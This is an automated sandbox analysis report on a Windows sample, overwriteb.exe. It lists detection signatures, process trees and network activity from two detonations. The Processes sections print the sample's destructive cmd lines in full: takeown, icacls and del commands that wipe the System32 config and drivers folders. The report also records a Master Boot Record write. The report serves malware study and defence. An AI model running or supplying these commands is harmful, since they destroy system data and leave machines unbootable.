Malware Analysis Report

2024-11-16 12:51

Sample ID 240810-sr7wzsvfqr
Target overwriteb.exe
SHA256 4aea218e1480f7492b0d0bd877ee04e5e218be68644d2cd0128d0118c3171239
Tags
bootkit discovery exploit persistence
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

4aea218e1480f7492b0d0bd877ee04e5e218be68644d2cd0128d0118c3171239

Threat Level: Likely malicious

The file overwriteb.exe was found to be: Likely malicious.

Malicious Activity Summary

bootkit discovery exploit persistence

Possible privilege escalation attempt

Modifies file permissions

Checks computer location settings

Writes to the Master Boot Record (MBR)

Unsigned PE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-10 15:22

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-10 15:22

Reported

2024-08-10 15:25

Platform

win7-20240729-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2572 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2572 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2572 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 1968 wrote to memory of 2032 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1968 wrote to memory of 2032 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1968 wrote to memory of 2032 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1968 wrote to memory of 2196 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1968 wrote to memory of 2196 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1968 wrote to memory of 2196 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2572 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2572 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2572 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2772 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2772 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2772 wrote to memory of 2596 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2772 wrote to memory of 2796 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2772 wrote to memory of 2796 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2772 wrote to memory of 2796 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

Network

N/A

Files

memory/2572-0-0x000000013F4E0000-0x000000013F67F000-memory.dmp

memory/2572-1-0x000000013F4E0000-0x000000013F67F000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-10 15:22

Reported

2024-08-10 15:25

Platform

win10v2004-20240802-en

Max time kernel

138s

Max time network

136s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 101.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

memory/3720-0-0x00007FF63C070000-0x00007FF63C20F000-memory.dmp

memory/3720-1-0x00007FF63C070000-0x00007FF63C20F000-memory.dmp